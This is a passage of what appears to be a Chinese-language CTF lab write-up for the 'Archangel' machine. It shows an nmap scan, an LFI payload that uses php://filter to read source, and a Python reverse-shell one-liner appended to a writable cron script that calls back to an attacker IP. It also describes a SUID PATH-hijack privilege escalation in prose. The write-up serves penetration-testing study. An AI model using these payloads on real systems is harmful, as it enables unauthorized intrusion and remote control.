Archangel
端口扫描
root@ip-10-10-85-216:~# nmap -sT -p- --min-rate 1000 10.10.220.135
Starting Nmap 7.60 ( https://nmap.org ) at 2023-08-21 17:28 BST
Nmap scan report for ip-10-10-220-135.eu-west-1.compute.internal (10.10.220.135)
Host is up (0.011s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:89:E0:F0:EA:EB (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 4.31 seconds
80 - HTTP
访问 80 站点, 我在此进行了目录扫描等措施, 但是没有找到可以利用的位置, 但是我在其中发现一个域 , 所以添加 DNS mafialive.thm
, 进行攻击, 访问站点, 获得一个 flag
根据扫描的结果我访问 test.php 发现这里是一个文件包含,
tip
- 对于 ../ 是做了过滤了
- 同时限制了目录为 /var/www/html/development_testing/
但是我访问 /etc/passwd 一直没有回显, 所以我尝试去阅读源码, 获取到源码后进行解密 CyberChef
http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php
我发现我的猜解是正确的, 但是访问 /etc/passwd 就是没有回显, 经过探究发现 Burp 正常回显, 但是浏览器没有内容 (刚开始还以为自己的 payload 有问题)
后渗透
www-data
www-data --> archangel
我发现存在一个定时任务, 并且这个脚本文件我们具有可写权限, 所以进行修改来获取第二个 Shell
(remote) www-data@ubuntu:/home/archangel$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
*/1 * * * * archangel /opt/helloworld.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
(remote) www-data@ubuntu:/opt$ ls -al
total 16
drwxrwxrwx 3 root root 4096 Nov 20 2020 .
drwxr-xr-x 22 root root 4096 Nov 16 2020 ..
drwxrwx--- 2 archangel archangel 4096 Nov 20 2020 backupfiles
-rwxrwxrwx 1 archangel archangel 66 Nov 20 2020 helloworld.sh
(remote) www-data@ubuntu:/opt$ cat helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
(remote) www-data@ubuntu:/opt$ cat << EOF >> helloworld.sh
> python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.85.216",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
> EOF
(remote) www-data@ubuntu:/opt$ cat helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.85.216",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
archangel —> root
在 archangel 的目录中我发现一个 backup 程序, 它具有 root 的 SUID 权限
我使用 String 查看他的其中字符串命令发现其使用 cp 但是没有使用绝对路径
所以我们可以修改 PATH 来完成攻击